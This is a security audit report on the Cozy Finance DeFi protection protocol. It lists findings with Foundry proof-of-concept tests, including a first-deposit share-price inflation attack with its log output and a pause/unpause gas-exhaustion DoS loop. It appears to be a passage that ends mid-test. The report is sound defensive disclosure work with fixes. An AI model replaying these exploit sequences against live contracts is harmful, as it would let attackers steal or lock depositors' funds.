# Cozy Finance
## Security Review


A Cantina Managed review by:

**Noah Marconi (ndev)**, Lead Security Researcher

**Patrick Drotleff (patrickd)**, Security Researcher

**r0bert**, Security Researcher



April 20, 2023

# Contents

# 1 Introduction

## 1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

## 1.2 Disclaimer

Cantina Managed provides a detailed evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While Cantina Managed endeavors to identify and disclose all potential security issues, it cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities that were absent during the initial review. Therefore, any changes made to the code require a new security review to ensure that the code remains secure. Please be advised that the Cantina Managed security review is not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

## 1.3 Risk assessment

| Severity | Description |
|---|---|
| **Critical** | *Directly* exploitable security vulnerabilities that need to be fixed. |
| **Major** | Security vulnerabilities that may not be directly exploitable or may *require certain conditions* in order to be exploited.<br>All major issues should be addressed. |
| **Medium** | Objective in nature but are not security vulnerabilities.<br>Should be addressed unless there is a clear reason not to. |
| **Minor** | Subjective in nature.<br>They are typically suggestions around best practices or readability. Code maintainers should use their own judgment whether to address such issues. |

### 1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. When determining the severity one first needs to determine whether the finding is subjective or objective. All subjective findings are considered of Minor severity.

Next it is determined whether the finding can be regarded as a security vulnerability. Some findings might be objective improvements that need to be fixed, but do not impact the project's security overall (Medium).

Finally, objective findings of security vulnerabilities are classified as either critical or major. Critical findings should be directly vulnerable and have a high likelihood of being exploited. Major findings on the other hand may require specific conditions that need to be met before the vulnerability becomes exploitable.

# 2 Security Review Summary

Cozy Finance is a DeFi protection market protocol allowing its users to buy and sell protection against events like contract hacks.

The protocol's entry point is the Manager contract which offers the protocol owner some administrative functions such as setting fees and delays. Via the Manager, users may create so called Sets. A Set is a collection of protection markets, where suppliers can deposit and withdraw assets from. These assets can be locked by users who buy protection for a specific market, in exchange suppliers will be rewarded with some of the fees the buyer paid. The cost of protection for a specific market is determined by the chosen Cost Model, which varies the cost depending on the market's utilization. The value of the bought protection will slowly decline over time until the amount is unlocked again such that a supplier can withdraw it. Each protection market has a unique Trigger associated with it, and should the event of this Trigger occur (eg. a project was hacked) then the still locked protection stops decaying and will be available to be claimed by its buyers. This can mean a total loss for the suppliers of these assets.

The security researchers were given the ability to access all source code of the system including the protocol core, the cost models, the triggers, and periphery contracts. Cozy specifically requested that the security review should focus on the core parts of the protocol, while all other parts mostly served for providing context.

Methods applied during the security review were centered around manual review and the creation of automated tests for checking identified edge cases. Furthermore a fuzzing framework was created within Foundry which helped identifying various further edge cases that might otherwise would have escaped the manual review. All security review artifacts, including graphs, automated tests, and the fuzzing framework were provided to Cozy.

Readers of this report should note that for the context of this security review, the protocol owner (ie. the address in control of the protocol manager contract) is assumed to be non-malicious. As such we did not make specific efforts to look for vectors where a take-over of the protocol ownership would have significant impact on the users. Also, due to the permissionlessness of the protocol, untrusted third parties may create Sets with malicious intentions. As this is a given for the project's nature we did not make specific efforts to investigate the impact of a bad Set owner. Users are warned to choose the Sets they use wisely.

From Mar 27th to Apr 14th the Cantina team conducted a review of cozy-protocol-v2 on commit hash d3409c29. The team identified a total of **29** issues in the following risk categories:

- Critical Risk: 1
- Major Risk: 3
- Medium Risk: 7
- Minor (Gas Optimizations): 4
- Minor (Informational): 14

# 3 Findings

## 3.1 Critical Risk

### 3.1.1 Faulty Access Control allows anyone to claim Fees

**Severity:** Critical Risk

**Context:** Set.sol#L90

**Description:** A Set's accumulated fees may be collected by calling the `claimSetFees()` function of the Manager singleton contract which allows an owner to batch-collect all fees from multiple of their Sets at once. To ensure that only the correct Set owner can claim these fees, the manager passes the `msg.sender` as parameter. The Set's `claimSetFees()` function then only needs to ensure that the current caller (`msg.sender`) is the Manager and the passed `caller_` (i.e., who called the Manager's batch function) is the owner of the Set.

```
contract Manager {
  /// @notice Transfers accrued set owner fees to the `receiver_` address.
  function claimSetFees(ISet[] calldata sets_, address receiver_) external {
    ...
    for (uint256 i = 0; i < sets_.length; i = i.inc()) {
      uint128 setOwnerFees_ = sets_[i].claimSetFees(msg.sender, receiver_);
      ...
    }
  }
}

contract Set {
  /// @notice Transfers accrued Set Owner fees to the `receiver_` address.
  function claimSetFees(address caller_, address receiver_) external returns (uint128 setOwnerFees_) {
    if (msg.sender != address(manager) && caller_ != owner) revert Unauthorized();
    ...
  }
}
```

Due to a logic error, it instead allowed anyone to call the Set's `claimSetFees()` function directly as long as the `caller_` specified matches the owner. Or alternatively, anyone could call the Manager's `claimSetFees()` without being the owner, as it was sufficient for the call to be made from the Manager.

This faulty Access Control bug would have allowed anyone to specify themselves as `_receiver` and claim fees of Sets they do not have any ownership over.

**Recommendation:** The logic issue can be easily fixed:

```
- if (msg.sender != address(manager) && caller_ != owner) revert Unauthorized();
+ if (msg.sender != address(manager) || caller_ != owner) revert Unauthorized();
```

We also recommend the implementation of regression tests that make sure that calls to the `claimSetFees()` functions do indeed fail when they are supposed to.

**Cozy:** Fixed in PR 118.

**Cantina:** Confirmed.

## 3.2 Major Risk

### 3.2.1 Certain cost models may be exploited with callback tokens

**Severity:** Major Risk

**Context:** ProtectionSeller.sol#L59-L62

**Description:** At the moment, the Set's `sell()` function first makes an external call in order to transfer the refund to `receiver_` and only afterwards calls the cost mode's `update()` function.

Under a specific configuration where the asset has receive-callbacks (e.g., an ERC777 token) and the cost model used by a Set's market is stateful (ie. actually makes use of `update()` function calls) this might be vulnerable to reentrancy: Upon receiving the tokens, the `receiver_` might exploit the fact that the cost model has not been updated yet by calling back into the Set.

**Recommendation:** One of the following can be done:

- **Consider reversing the order of external calls.** Set owners are very powerful and users of that set have decided that the owners are trustworthy. Set owner are also the only party being able to specify a market's cost model. A user would assume that the owner they trust will not specify malicious contracts as cost models, therefore calls made to a model's `update()` function are unlikely to exploit the Set by reentering. Calling `update()` before transferring the tokens will therefore ensure that the call made to a untrusted 3rd party (the `receiver_`) is the very last interaction of the `sell()` function and no incomplete state can be exploited.
- **Document this issue publicly for future Set creators.** Alternatively, this issue should be publicly documented so that creators of Sets can make sure to either not use assets that have hooks, or to not make use of cost models that are stateful and make use of the `update()` function call. As part of the security review we prepared an example Token Integration Checklist that can be used to document this issue.

**Cozy:** With the following PR 159 we'll now call `update()` before the asset transfer.

**Cantina:** Fixed.

### 3.2.2 First deposit price inflation vulnerability exists

**Severity:** Major Risk

**Context:** SetCalculationsLib.sol#L107 and SupplySideLib.sol#L72

**Description:** Share prices are able to be manipulated upward through donating to the protocol after depositing a minuscule amount.

The documentation notes `CozyRouter` comes with slippage protections preventing frontrunning and limiting this particular attack. Appropriate slippage arguments in the router do accomplish this goal, however, additional off chain calculations would be needed to be effective, as the reporting from `Set.convertToShares` may rely on a manipulated an overly inflated price.

Although the protocol does internal accounting of incoming funds, which normally would prevent this issue, `assetsExcess_` is eventually added to `accounting.assetBalance`; in turn, negating one of the benefits of the internal accounting. For an attacker to cause the protocol to recognize the malicious donation, a follow up deposit is needed:

- Deposit 1 wei worth of assets
- Donate a large amount using a blind transfer
- Again, deposit another 1 wei worth of assets, thus triggering the internal accounting's recognition of the donation SupplySideLib.sol#L72

Example sequence of events:

```
test_firstDepositFrontRun()
  ----------------------------------------------------------------------------------------------------------------┘
  ↪  -----------
  Initial user balances
  weth.balanceOf(alice) -> 19900000000000000000
  weth.balanceOf(bob) -> 19900000000000000000
  --------------------------------------------------------------------------------
```

```
alice Calling -> weth.approve(address(router), 1);
alice Calling -> router.deposit(Set(address(setETHUnderlying)), 1, alice, 0);
            setETHUnderlying.totalSupply() -> 1
            setETHUnderlying.totalCollateralAvailable() -> 1
            setETHUnderlying.balanceOf(alice) -> 1
            setETHUnderlying.balanceOfMatured(alice) -> 0
--------------------------------------------------------------------------------
alice Calling -> weth.transfer(address(router), 2 ether);
            weth.balanceOf(address(setETHUnderlying)) -> 2000000000000000001
--------------------------------------------------------------------------------
alice Calling -> weth.approve(address(router), 1);
alice Calling -> router.deposit(Set(address(setETHUnderlying)), 1, alice, 0);
            setETHUnderlying.totalSupply() -> 2
            setETHUnderlying.totalCollateralAvailable() -> 2000000000000000002
            setETHUnderlying.balanceOf(alice) -> 2
            setETHUnderlying.balanceOfMatured(alice) -> 0
--------------------------------------------------------------------------------
bob Calling -> weth.approve(address(router), 2 ether);
bob Calling -> router.deposit(Set(address(setETHUnderlying)), 2 ether, bob, 0);
            setETHUnderlying.totalSupply() -> 3
            setETHUnderlying.totalCollateralAvailable() -> 4000000000000000002
            setETHUnderlying.balanceOf(alice) -> 2
            setETHUnderlying.balanceOfMatured(alice) -> 0
            setETHUnderlying.balanceOf(bob) -> 1
            setETHUnderlying.balanceOfMatured(bob) -> 0
--------------------------------------------------------------------------------

********Begin Redeem********

alice Calling -> setETHUnderlying.approve(address(router), 2);
            weth.balanceOf(alice) -> 196999999999999999998
alice Calling -> router.redeem(Set(address(setETHUnderlying)), 2, alice, 0);
bob Calling -> setETHUnderlying.approve(address(router), 1);
            weth.balanceOf(bob) -> 197000000000000000000
bob Calling -> router.redeem(Set(address(setETHUnderlying)), 1, bob, 0);
            weth.balanceOf(alice) -> 199666666666666666666
            setETHUnderlying.balanceOf(alice) -> 0
            setETHUnderlying.balanceOfMatured(alice) -> 0
            weth.balanceOf(bob) -> 198333333333333333334
            setETHUnderlying.balanceOf(bob) -> 0
            setETHUnderlying.balanceOfMatured(bob) -> 0
```

Above, the on chain response to `Set.convertToShares(2 ether);` is 1. If `bob`, in his call through the router, uses `convertToShares` to determine what to set `minSharesReceived_` to, he will lose funds as 1 share is worth less than 2 ether due to excessive rounding.

PoC below:

```
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.18;

import {console2} from "forge-std/console2.sol";
import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol";
import {ICostModel} from "src/interfaces/ICostModel.sol";
import {IDripDecayModel} from "src/interfaces/IDripDecayModel.sol";
import {IERC20} from "src/interfaces/IERC20.sol";
import {IProtectionPurchaserErrors} from "src/interfaces/IProtectionPurchaserErrors.sol";
import {IStETH} from "src/interfaces/IStETH.sol";
import {ITrigger} from "src/interfaces/ITrigger.sol";
import {IWeth} from "src/interfaces/IWeth.sol";
import {IWstETH} from "src/interfaces/IWstETH.sol";
import {AssetStorage} from "src/lib/structs/AssetStorage.sol";
import {MarketConfig, SetConfig} from "src/lib/structs/Configs.sol";
import {Fees} from "src/lib/structs/Manager.sol";
import {PurchaseFeesAssets, ExecutePurchaseData} from "src/lib/structs/Purchase.sol";
import {SaleFeesAssets, ExecuteSaleData} from "src/lib/structs/Sale.sol";
import {MathConstants} from "src/lib/MathConstants.sol";
import {MarketState} from "src/lib/StateEnums.sol";
import {CozyRouter} from "src/CozyRouter.sol";
import {Manager} from "src/Manager.sol";
import {PToken} from "src/PToken.sol";
import {Set} from "src/Set.sol";
import {MockConnector} from "test/utils/MockConnector.sol";
import {MockCostModel} from "test/utils/MockCostModel.sol";
import {MockDeployProtocol} from "test/utils/MockDeployProtocol.sol";
import {MockDripDecayModel} from "test/utils/MockDripDecayModel.sol";
```

```
import {MockERC20} from "test/utils/MockERC20.sol";
import {MockTrigger} from "test/utils/MockTrigger.sol";
import {TestBase} from "test/utils/TestBase.sol";

// ----------------------------
// -------- Multicall --------
// ----------------------------

abstract contract CozyRouterTestSetup is MockDeployProtocol {
  CozyRouter router;
  Set setETHUnderlying;
  Set set;
  IStETH stEth;
  IWstETH wstEth;

  IERC20 asset = IERC20(address(new MockERC20("Mock Asset", "MOCK", 6)));
  ITrigger trigger = ITrigger(new MockTrigger(MarketState.ACTIVE, true, true));

  address alice = address(0xABCD);
  address bob = address(0xDCBA);
  address self = address(this);

  // For calculating the per-second decay/drip rate, we use the exponential decay formula A = P * (1 - r) ^ t
  // where A is final amount, P is principal (starting) amount, r is the per-second decay rate, and t is the
↪  number of
  // elapsed seconds.
  // For example, for an annual decay rate of 25%:
  // A = P * (1 - r) ^ t
  // 0.75 = 1 * (1 - r) ^ 31557600
  // -r = 0.75^(1/31557600) - 1
  // -r = -9.116094732822280932149636651070655494101566187385032e-9
  // Multiplying r by -1e18 to calculate the scaled up per-second value required by decay/drip model
↪  constructors ~=
  // 9116094774
  uint256 constant DECAY_RATE_PER_SECOND = 9_116_094_774; // Per-second decay rate of 25%.

  /// @dev Emitted by ERC20s when `amount` tokens are moved from `from` to `to`.
  event Transfer(address indexed from, address indexed to, uint256 amount);

  function setUp() public virtual override {
    super.setUp();

    SetConfig memory setConfig_ = SetConfig(1e4, 0); // Zero deposit fee to simplify router testing.
    MarketConfig[] memory marketConfigs_ = new MarketConfig[](1);
    marketConfigs_[0] = MarketConfig({
      trigger: trigger,
      costModel: ICostModel(address(new MockCostModel(0.1e18, 0.1e18, false))),
      dripDecayModel: IDripDecayModel(new MockDripDecayModel(DECAY_RATE_PER_SECOND)),
      weight: 1e4,
      purchaseFee: 0,
      saleFee: 0
    });

    vm.prank(owner);
    manager.updateFees(Fees(0, 0, 0, 0, 0, 0)); // Zero protocol fees to simplify router testing.

    setETHUnderlying = Set(
      address(manager.createSet(owner, pauser, IERC20(address(weth)), setConfig_, marketConfigs_,
↪  _randomBytes32()))
    );
    set = Set(address(manager.createSet(owner, pauser, asset, setConfig_, marketConfigs_, _randomBytes32())));

    router = new CozyRouter(manager, weth, stEth, wstEth);
  }
}

// --------------------------------
// -------- Token Helpers --------
// --------------------------------

// Abstract test contract base with some helpers for
// manipulating WEth token balance in the Router.
abstract contract CozyWEthHelperTest is CozyRouterTestSetup {
  function dealAndDepositEth(uint128 _amount) public {
    vm.startPrank(address(router));
    vm.deal(address(router), _amount);
```

```
    weth.deposit{value: _amount}();
    assertEq(weth.balanceOf(address(router)), _amount);
    vm.stopPrank();
  }
}


contract FirstDepositPoc is CozyRouterTestSetup {
  uint256 assets = 200 ether;
  uint256 shares;

  function setUp() public override {
    super.setUp();

    // Mint some WETH and approve the router to move it.
    vm.deal(alice, assets);
    vm.deal(bob, assets);

    vm.prank(alice);
    weth.deposit{value: assets - 1 ether}();
    vm.prank(bob);
    weth.deposit{value: assets - 1 ether}();

    // // The router deposits assets on behalf of alice.
    // shares = router.deposit(setETHUnderlying, assets, testOwner, assets);

    // // Initiate a WETH withdrawal request, with bob as the receiver. The router is pre-approved.
    // setETHUnderlying.approve(address(router), shares);
    // skip(manager.minDepositDuration());
    // router.withdraw(setETHUnderlying, assets, receiver, shares);
    // skip(manager.redemptionDelay());

  }

  function test_firstDepositFrontRun() public {
      console2.log("\n\ntest_firstDepositFrontRun()");
      console2.log("------------------------------------------------------------------------------------------
↪  ----------------------------");

      console2.log("Initial user balances");
      console2.log("weth.balanceOf(alice) -> %s", weth.balanceOf(alice));
      console2.log("weth.balanceOf(bob) -> %s", weth.balanceOf(bob));
      console2.log("------------------------------------------------------------------------------------------");
      /**
          function deposit(
              Set set_,
              uint256 assets_,
              address receiver_,
              uint256 minSharesReceived_ // The minimum amount of shares the user expects to receive.
          ) external payable returns (uint256 shares_) {
      */
      vm.startPrank(alice);
      console2.log("alice Calling -> weth.approve(address(router), 1);");
      weth.approve(address(router), 1);
      console2.log("alice Calling -> router.deposit(Set(address(setETHUnderlying)), 1, alice, 0);");
      router.deposit(Set(address(setETHUnderlying)), 1, alice, 0);
      console2.log("           setETHUnderlying.totalSupply() -> %s", setETHUnderlying.totalSupply());
      console2.log("           setETHUnderlying.totalCollateralAvailable() -> %s",
↪  setETHUnderlying.totalCollateralAvailable());
      console2.log("           setETHUnderlying.balanceOf(alice) -> %s", setETHUnderlying.balanceOf(alice));
      console2.log("           setETHUnderlying.balanceOfMatured(alice) -> %s",
↪  setETHUnderlying.balanceOfMatured(alice));
      console2.log("------------------------------------------------------------------------------------------");

      console2.log("alice Calling -> weth.transfer(address(router), 2 ether);");
      weth.transfer(address(setETHUnderlying), 2 ether);
      console2.log("           weth.balanceOf(address(setETHUnderlying)) -> %s",
↪  weth.balanceOf(address(setETHUnderlying)));

      console2.log("------------------------------------------------------------------------------------------");
      console2.log("alice Calling -> weth.approve(address(router), 1);");
      weth.approve(address(router), 1);
      console2.log("alice Calling -> router.deposit(Set(address(setETHUnderlying)), 1, alice, 0);");
      router.deposit(Set(address(setETHUnderlying)), 1, alice, 0);
      console2.log("           setETHUnderlying.totalSupply() -> %s", setETHUnderlying.totalSupply());
```

```
    console2.log("           setETHUnderlying.totalCollateralAvailable() -> %s",
↪  setETHUnderlying.totalCollateralAvailable());
    console2.log("           setETHUnderlying.balanceOf(alice) -> %s", setETHUnderlying.balanceOf(alice));
    console2.log("           setETHUnderlying.balanceOfMatured(alice) -> %s",
↪  setETHUnderlying.balanceOfMatured(alice));
    console2.log("_____________________________________________________________________________________");

    vm.stopPrank();

    vm.startPrank(bob);
    console2.log("bob Calling -> weth.approve(address(router), 2 ether);");
    weth.approve(address(router), 2 ether);
    console2.log("bob Calling -> router.deposit(Set(address(setETHUnderlying)), 2 ether, bob, 0);");
    router.deposit(Set(address(setETHUnderlying)), 2 ether, bob, 0);
    console2.log("           setETHUnderlying.totalSupply() -> %s", setETHUnderlying.totalSupply());
    console2.log("           setETHUnderlying.totalCollateralAvailable() -> %s",
↪  setETHUnderlying.totalCollateralAvailable());
    console2.log("           setETHUnderlying.balanceOf(alice) -> %s", setETHUnderlying.balanceOf(alice));
    console2.log("           setETHUnderlying.balanceOfMatured(alice) -> %s",
↪  setETHUnderlying.balanceOfMatured(alice));
    console2.log("           setETHUnderlying.balanceOf(bob) -> %s", setETHUnderlying.balanceOf(bob));
    console2.log("           setETHUnderlying.balanceOfMatured(bob) -> %s",
↪  setETHUnderlying.balanceOfMatured(bob));
    console2.log("_____________________________________________________________________________________");
    vm.stopPrank();


    console2.log("");
    console2.log("********Begin Redeem********");
    console2.log("");

    skip(manager.minDepositDuration());

    vm.startPrank(alice);
    /**
        function redeem(
            Set set_,
            uint256 shares_,
            address receiver_,
            uint256 minAssetsReceived_ // The minimum amount of assets the user expects to receive.
        ) external payable returns (uint256 assets_) {
    */
    console2.log("alice Calling -> setETHUnderlying.approve(address(router), 2);");
    setETHUnderlying.approve(address(router), 2);
    console2.log("           weth.balanceOf(alice) -> %s", weth.balanceOf(alice));
    console2.log("alice Calling -> router.redeem(Set(address(setETHUnderlying)), 2, alice, 0);");
    router.redeem(Set(address(setETHUnderlying)), 2, alice, 0);
    skip(manager.redemptionDelay());
    router.completeWithdraw(setETHUnderlying, 0);
    vm.stopPrank();

    vm.startPrank(bob);
    console2.log("bob Calling -> setETHUnderlying.approve(address(router), 1);");
    setETHUnderlying.approve(address(router), 1);
    console2.log("           weth.balanceOf(bob) -> %s", weth.balanceOf(bob));
    console2.log("bob Calling -> router.redeem(Set(address(setETHUnderlying)), 1, bob, 0);");
    router.redeem(Set(address(setETHUnderlying)), 1, bob, 0);
    skip(manager.redemptionDelay());
    router.completeWithdraw(setETHUnderlying, 1);
    vm.stopPrank();

    console2.log("           weth.balanceOf(alice) -> %s", weth.balanceOf(alice));
    console2.log("           setETHUnderlying.balanceOf(alice) -> %s", setETHUnderlying.balanceOf(alice));
    console2.log("           setETHUnderlying.balanceOfMatured(alice) -> %s",
↪  setETHUnderlying.balanceOfMatured(alice));
    console2.log("           weth.balanceOf(bob) -> %s", weth.balanceOf(bob));
    console2.log("           setETHUnderlying.balanceOf(bob) -> %s", setETHUnderlying.balanceOf(bob));
    console2.log("           setETHUnderlying.balanceOfMatured(bob) -> %s",
↪  setETHUnderlying.balanceOfMatured(bob));


    // vm.startPrank(bob);
    // console2.log("bob Calling -> setETHUnderlying.approve(address(router), 14000000000000000000);");
    // setETHUnderlying.approve(address(router), 14000000000000000000);
    // console2.log("           weth.balanceOf(alice) -> %s", weth.balanceOf(alice));
    // console2.log("bob Calling -> router.redeem(Set(address(setETHUnderlying)), 14000000000000000000,
↪  bob, 0);");
```

```
      // router.redeem(Set(address(setETHUnderlying)), 14000000000000000000, bob, 0);
      // console2.log("           weth.balanceOf(alice) -> %s", weth.balanceOf(alice));
      // console2.log("           setETHUnderlying.balanceOf(alice) -> %s", setETHUnderlying.balanceOf(alice));
      // console2.log("           setETHUnderlying.balanceOfMatured(alice) -> %s",
↪  setETHUnderlying.balanceOfMatured(alice));
      // console2.log("           weth.balanceOf(bob) -> %s", weth.balanceOf(bob));
      // console2.log("           setETHUnderlying.balanceOf(bob) -> %s", setETHUnderlying.balanceOf(bob));
      // console2.log("           setETHUnderlying.balanceOfMatured(bob) -> %s",
↪  setETHUnderlying.balanceOfMatured(bob));
      // vm.stopPrank();
  }
}
```

**Recommendation:** Do not add `assetsExcess` to `accounting.assetBalance`.

**Cozy:** Fix included in PR 119.

### 3.2.3 Malicious `owner` or `manager` may DoS the `Set`

**Severity:** Major Risk

**Context:** PToken.sol#L70

**Description:** Each pair of `pause`/`unpause` calls extends the `inactivityData.periods` array. When reading from this array the protocol aims to mitigate the potential for excessive gas consumption by making use of `cumulativeDuration` duration and performing a binary search when recovering relevant values.

There is, however, a statement which inadvertently loads the entire array into memory before performing the binary search. By performing an excessive number of pause/unpause calls, a malicious owner or manager may cause claims to DoS:

```
// NOTE: Foundry test, reads are warm. Actual attack cost is lower.
function test_pauseDoS() public {
    (address depositorA, address buyerA,) = initializeAccounts(200 ether);

    // Deposit 100 ETH into the set.
    depositWithPrank(depositorA, 100 ether);

    // Buy 100 ETH worth of pTokens.
    purchaseWithPrank(0, buyerA, 100 ether);

    skipDepositDuration();
    skipPurchaseDelay();


    // Pause the set.
    for (uint256 i = 0; i < 45000; i++) {
        vm.prank(pauser);
        set.pause();
        skip(12);
        SetState setState = set.setState();
        vm.prank(owner);
        set.unpause();
    }


    uint256 checkpointGasLeft = gasleft();
    triggerMarket(0);
    console2.log("Gas used: %s", checkpointGasLeft - gasleft());

    checkpointGasLeft = gasleft();
    claimMax(buyerA, 0);
    console2.log("Gas used: %s", checkpointGasLeft - gasleft());

}
```

**Recommendation:** Avoid loading the array into memory:

```
 function balanceOfMatured(address user_) public view override returns (uint256 balance_) {

  ...snip...

-  InactivityData memory inactivityData_ = inactivityData;
+  InactivityData storage inactivityData_ = inactivityData;

  ...snip...
 }
```

**Cozy:** Updated in PR 154.

**Cantina:** Fixed.

## 3.3 Medium Risk

### 3.3.1 Create public Token Integration Checklist

**Severity:** Medium Risk

**Context:** General

**Description:** At first glance Sets appear to be able to deal with any form of ERC20 tokens, but that might not be true in practice. There exist some tokens that use extension standards or generally don't follow a standard specification which could potentially cause issues when used as an asset for a Set. Furthermore there's no way for a Set to check whether the chosen token is compatible automatically, a manual review of each new asset is required.

**Recommendation:** Ease the process of verifying the compatibility of ERC20 tokens for the use as a Set asset by creating a public Token Integration Checklist that Set owners may use before creating new Sets.

Suggestion based on the security reveiw findings. See Token Integration Checklist

**Cozy:** Cozy will include token integration guidelines in the public documentation.

**Cantina:** Acknowledged.

### 3.3.2 When a purchase occurs, other markets do not maintain the same utilization

**Severity:** Medium Risk

**Context:** ProtectionPurchaser.sol

**Description:** The following invariant for when a purchase occurs was not holding: "Markets that did not have a purchase occur must have the same utilization."

```
  Calling -> MockTrigger(triggers[1]).mockState(MarketState.TRIGGERED)
  Calling -> contract_WETH.approve(address(contract_CozyRouter), assetsNeeded_)
  Calling -> contract_CozyRouter.purchase(contract_SetWETH, 2, 1e18, buyer1, type(uint256).max)
  marketId_ -> 0
  utilizationBeforeDeposit -> 17629979063331771
  utilizationAfterDeposit -> 17629978875631056
  marketId_ -> 1
  utilizationBeforeDeposit -> 0
  utilizationAfterDeposit -> 0
  marketId_ -> 2
  utilizationBeforeDeposit -> 0
  utilizationAfterDeposit -> 3570711855601418
  marketId_ -> 3
  utilizationBeforeDeposit -> 17640561283657901
  utilizationAfterDeposit -> 17640561095844520
```

Test:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;

/**
forge test -vvvv --match-contract TestPurchaseInvariant
*/
```

```
import "./MultipleMarkets/EnvMulHelpers.t.sol";

contract TestPurchaseInvariant is EnvMulHelpers {

    address public buyer1 = vm.addr(10000);
    address public buyer2 = vm.addr(20000);
    address public provider1 = vm.addr(30000);
    address public provider2 = vm.addr(40000);
    address public provider3 = vm.addr(50000);
    address public provider4 = vm.addr(60000);

    function setUp() public virtual {
        console.log("setUp()");
        // All the project is deployed
        _deployMultipleMarkets();
        deal(address(contract_WETH), buyer1, 100e18);
        deal(address(contract_WETH), buyer2, 100e18);
        deal(address(contract_WETH), provider1, 1000e18);
        deal(address(contract_WETH), provider2, 1000e18);
        deal(address(contract_WETH), provider3, 1000e18);
        deal(address(contract_WETH), provider4, 1000e18);
        _HelperCozyRouterDeposit(provider1, Set(address(contract_SetWETH)));
        _HelperCozyRouterDeposit(provider2, Set(address(contract_SetWETH)));
        _HelperCozyRouterDeposit(provider3, Set(address(contract_SetWETH)));
        _HelperCozyRouterDeposit(provider4, Set(address(contract_SetWETH)));
        _HelperCozyRouterPurchase(buyer1, Set(address(contract_SetWETH)), 0);
        _HelperCozyRouterPurchase(buyer2, Set(address(contract_SetWETH)), uint16(MARKETS - 1));
        vm.warp(block.timestamp + 2 weeks);
        vm.roll(block.number + 1);
    }

    function test_PurchaseInvariant() public {
        console.log("\n\ntest_PurchaseInvariant()");
        console.log("_____________________________________________________________________________________________
↪  ______________________________");
        vm.warp(block.timestamp + 1 days);
        vm.roll(block.number + 1);
        console.log("Calling -> MockTrigger(triggers[1]).mockState(MarketState.TRIGGERED)");
        MockTrigger(triggers[1]).mockState(MarketState.TRIGGERED);
        vm.warp(block.timestamp + 1 days);
        vm.roll(block.number + 1);
        uint256[] memory utilizationBeforeDeposit_ = new uint256[](MARKETS);
        uint256[] memory utilizationAfterDeposit_ = new uint256[](MARKETS);
        for (uint16 marketId_; marketId_ < 4; ++marketId_) {
            utilizationBeforeDeposit_[marketId_] = Set(address(contract_SetWETH)).utilization(marketId_);
        }
        vm.startPrank(buyer1);
        (uint256 assetsNeeded_, ,) = contract_SetWETH.previewPurchase(2, 1e18);
        console.log("Calling -> contract_WETH.approve(address(contract_CozyRouter), assetsNeeded_)");
        contract_WETH.approve(address(contract_CozyRouter), assetsNeeded_);
        console.log("Calling -> contract_CozyRouter.purchase(contract_SetWETH, 2, 1e18, buyer1,
↪  type(uint256).max)");
        (uint256 assetsSpent, uint256 pTokensReceived) =
↪  contract_CozyRouter.purchase(Set(address(contract_SetWETH)), 2, 1e18, buyer1, type(uint256).max);
        vm.stopPrank();
        for (uint16 marketId_; marketId_ < 4; ++marketId_) {
            utilizationAfterDeposit_[marketId_] = Set(address(contract_SetWETH)).utilization(marketId_);
            console.log("marketId_ -> %s", marketId_);
            console.log("utilizationBeforeDeposit -> %s", utilizationBeforeDeposit_[marketId_]);
            console.log("utilizationAfterDeposit -> %s", utilizationAfterDeposit_[marketId_]);
        }

    }
}
```

As it is done in sells and deposits, it is also needed to `dripSupplierFees()` in purchases. If this is not done, the calculated drip amount is `(fees from previous purchases + fees from new purchase) * drip rate` instead of `fees from previous purchases * drip rate`. You want to ensure that the fees from previous purchases have an amount dripped, but the new fees (if no time has elapsed) should not be dripped.

For example:

- Bob purchases protection, adding 100 to the `purchaseFeePool`

- Some time elapses
- Alice purchases protection, adding 50 to the `purchaseFeePool`
- Alice purchases some more protection
- Since no time has elapsed since Alice's first purchase, none of the 50 she added to the pool should be dripped/calculated for next drip amount yet, but some of Bob's should.

Because this is not the case before this change set, the utilization in markets that didn't have the purchase occur in is lower than before because the `totalCollateralAvailable` calculation adds the amount of assets to be dripped that haven't been dripped yet, which is higher than it should be since we apply `dripRate * all purchaseFeePools`.

**Recommendation:** Call `dripSupplierFees()` in purchases.

**Cozy:** Addressed in PR 144.

**Cantina:** Fixed.

### 3.3.3 Calls to `Set.previewRedeem()` will revert if a market of the set is frozen

**Severity:** Medium Risk

**Context:** DelayLib.sol#L76

**Description:** Any call to `Set.previewRedeem(<redemptionId>)` will revert after a market of the set is frozen with a `[FAIL. Reason: Arithmetic over/underflow]` error.

Debugged parameters:

```
now_: 1382401
startTime_: 1209601
currentInactiveDuration_: 1382401
```

Overflow occurs in this line DelayLib.sol#L76:

```
return now_ - startTime_ - inactiveDurationAfterStartTime_;
```

Test file:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;

/**
    forge test -vvvv --match-contract TestCompleteRedeem
*/

import "./MultipleMarkets/EnvMulHelpers.t.sol";

contract TestCompleteRedeem is EnvMulHelpers {

    address public buyer1 = vm.addr(10000);
    address public buyer2 = vm.addr(20000);
    address public provider1 = vm.addr(30000);
    address public provider2 = vm.addr(40000);
    address public provider3 = vm.addr(50000);
    address public provider4 = vm.addr(60000);

    function setUp() public virtual {
        console.log("setUp()");
        // All the project is deployed
        _deployMultipleMarkets();
        deal(address(contract_WETH), buyer1, 100e18);
        deal(address(contract_WETH), buyer2, 100e18);
        deal(address(contract_WETH), provider1, 1000e18);
        deal(address(contract_WETH), provider2, 1000e18);
        deal(address(contract_WETH), provider3, 1000e18);
        deal(address(contract_WETH), provider4, 1000e18);
        _HelperCozyRouterDeposit(provider1, Set(address(contract_SetWETH)));
        _HelperCozyRouterDeposit(provider2, Set(address(contract_SetWETH)));
        _HelperCozyRouterDeposit(provider3, Set(address(contract_SetWETH)));
        _HelperCozyRouterDeposit(provider4, Set(address(contract_SetWETH)));
        _HelperCozyRouterPurchase(buyer1, Set(address(contract_SetWETH)), 0);
```

```
        _HelperCozyRouterPurchase(buyer2, Set(address(contract_SetWETH)), uint16(MARKETS - 1));
        vm.warp(block.timestamp + 2 weeks);
        vm.roll(block.number + 1);
    }

    function test_completeRedeemRevert() public {
